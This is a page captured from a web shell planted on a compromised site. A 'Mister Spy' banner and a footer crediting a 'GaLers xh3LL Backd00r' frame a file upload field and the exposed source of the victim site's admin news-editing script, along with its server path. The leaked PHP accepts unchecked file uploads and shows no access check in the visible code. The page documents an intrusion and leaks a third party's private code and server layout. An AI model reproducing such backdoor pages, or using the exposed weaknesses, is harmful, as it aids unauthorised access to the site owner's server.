Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/www/web/admin/
Upload File :
Current File : /home/caballoscriollos/www/web/admin/json-noticias-mod.php

<?php

require_once('../inc_library.php'); 

/* obtenemos datos enviados */
$IdNoticia			= intval($_REQUEST['IdNoticia']);
$IdCategoria		= intval($_REQUEST['IdCategoria']);
$IdColumnista		= intval($_REQUEST['IdColumnista']);
$Fecha				= strval($_REQUEST['Fecha']);
$Titulo				= strval($_REQUEST['Titulo']);
$Copete				= strval($_REQUEST['Copete']);
$Cuerpo				= strval($_REQUEST['Cuerpo']);
$Video				= strval($_REQUEST['Video']);
$EliminarImagen		= intval($_REQUEST['EliminarImagen']);
$EliminarArchivos	= strval($_REQUEST['EliminarArchivos']);
$Destacado			= intval($_REQUEST['Destacado']);
$Fijo				= intval($_REQUEST['Fijo']);
$Prioridad			= intval($_REQUEST['Prioridad']);
$FechaDesde			= strval($_REQUEST['FechaDesde']);
$FechaHasta			= strval($_REQUEST['FechaHasta']);
$arrKeywords		= $_REQUEST['keyword'];
$Submit				= (isset($_REQUEST['Submitted']));

/* declaramos e instanciamos variables necesarias */
$err		= 0;
$oNoticias			= new Noticias();
$oNoticiaArchivos	= new NoticiaArchivos();
$oNoticiaImagenes	= new NoticiaImagenes();
$oKeywords			= new Keywords();

/* verificamos si existe el registro */
if (!$oNoticia = $oNoticias->GetById($IdNoticia))
{
	header('Location: json-noticias.php' . $strParams);
	exit;
}

/* validaciones... */
if ($IdCategoria == '')
	$err |= 1;
if ($Fecha == '')
	$err |= 2;
if ($Titulo == '')
	$err |= 4;
	
/* si no hay ningun error... */	
if ($err == 0)
{
	$Imagen 		= $_FILES['Imagen-1'];
	
	/* si no hay errores... */
	if ($Imagen['name'] != '')
	{
		if ($Imagen['error'] != 1)
		{
			$oUpload = new Image
			(
				$Imagen['name'], 
				$Imagen['tmp_name'], 
				$Imagen['size'], 
				$Imagen['type'], 
				array(Noticia::PathImageBig, Noticia::PathImageThumb),
				array('jpg', 'jpeg', 'gif', 'png'),				
				array(1200, 1200), 
				array(600, 600),
				array('Resize', 'Adaptive'),
				100
			);
		}
	}
	
	if (!$oUpload || $oUpload->UploadImage())
	{
		if ($EliminarImagen == 1)
			$oNoticia->Imagen = '';
			
		$oNoticia->IdCategoria	= $IdCategoria;
		$oNoticia->Fecha		= $Fecha;
		$oNoticia->Titulo		= $Titulo;
		$oNoticia->Copete		= $Copete;
		$oNoticia->Cuerpo		= $Cuerpo;
		$oNoticia->Email		= $Email;
		$oNoticia->Video		= $Video;
		$oNoticia->Destacado	= $Destacado;
		$oNoticia->Fijo			= $Fijo;
		$oNoticia->Prioridad	= $Prioridad;
		$oNoticia->FechaDesde	= $FechaDesde;
		$oNoticia->FechaHasta	= $FechaHasta;
		$oNoticia->IdColumnista	= $IdColumnista ? $IdColumnista : '';
		$oNoticia->Imagen 		= $oUpload ? $oUpload->GetNombre() : $oNoticia->Imagen;
	
		/* modificamos el registro */
		$oNoticias->Update($oNoticia);
		
		if ($oUpload)
		{
			$oNoticiaImagenes->DeleteByNoticia($oNoticia);
			
			$oNoticiaImagen	= new NoticiaImagen();
			$oNoticiaImagen->IdNoticia	= $IdNoticia;
			$oNoticiaImagen->Imagen 	= $oUpload->GetNombre();
			$oNoticiaImagen->Epigrafe 	= $Titulo;
			$oNoticiaImagen->Orden 		= 0;
			
			$oNoticiaImagen = $oNoticiaImagenes->Create($oNoticiaImagen);
		}
		
		if ($EliminarArchivos != '')
		{
			$arrids = explode(',', $EliminarArchivos);
			
			foreach ($arrids as $id)
			{
				$oNoticiaArchivos->Delete($id);
			}
		}
		
		$arrArchivos = $_FILES['Archivo'];
		$count = 0;
		foreach($_FILES['Archivo']['tmp_name'] as $key => $tmp_name)
		{
			if ($_FILES['Archivo']['name'][$key] == '') 
				continue;
				
			$oUpload = new Up
			(
				$key.$_FILES['Archivo']['name'][$key], 
				$_FILES['Archivo']['tmp_name'][$key], 
				$_FILES['Archivo']['size'][$key], 
				$_FILES['Archivo']['type'][$key], 
				Noticia::PathFile
			);
			
			$Nombre = $_REQUEST['NombreArchivo'][$count];
			
			if ($Nombre == '')
				$Nombre = $_FILES['Archivo']['name'][$key];
				
			if ($oUpload->UploadFile())
			{
				$oNoticiaArchivo = new NoticiaArchivo();
				$oNoticiaArchivo->IdNoticia	= $oNoticia->IdNoticia;
				$oNoticiaArchivo->Nombre		= $Nombre;
				$oNoticiaArchivo->Archivo	= $oUpload->GetNombre();

				/* creamos el registro */	
				$oNoticiaArchivo = $oNoticiaArchivos->Create($oNoticiaArchivo);
			}
			
			$count++;
		}

		$oKeywords->DeleteByIdNoticia($oNoticia->IdNoticia);

		if ($arrKeywords) {
			foreach ($arrKeywords as $keyword) {
				$oKeyword = new Keyword();
				$oKeyword->IdNoticia = $oNoticia->IdNoticia;
				$oKeyword->Nombre = $keyword;
				
				$oKeywords->Create($oKeyword);
			}
		}

		header('Content-type: application/json');
		echo json_encode(array("Success" => true, "Error" => ""));
	}
	else
	{
	header('Content-type: application/json');
	print_R($oUpload);exit;
	echo json_encode(array("Success" => false, "Error" => utf8_encode($err. "Error al procesar la imagen.")));
	}
}
else
{
	header('Content-type: application/json');
	echo json_encode(array("Success" => false, "Error" => utf8_encode($err. "Error al crear el Noticia.")));
}

?>

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat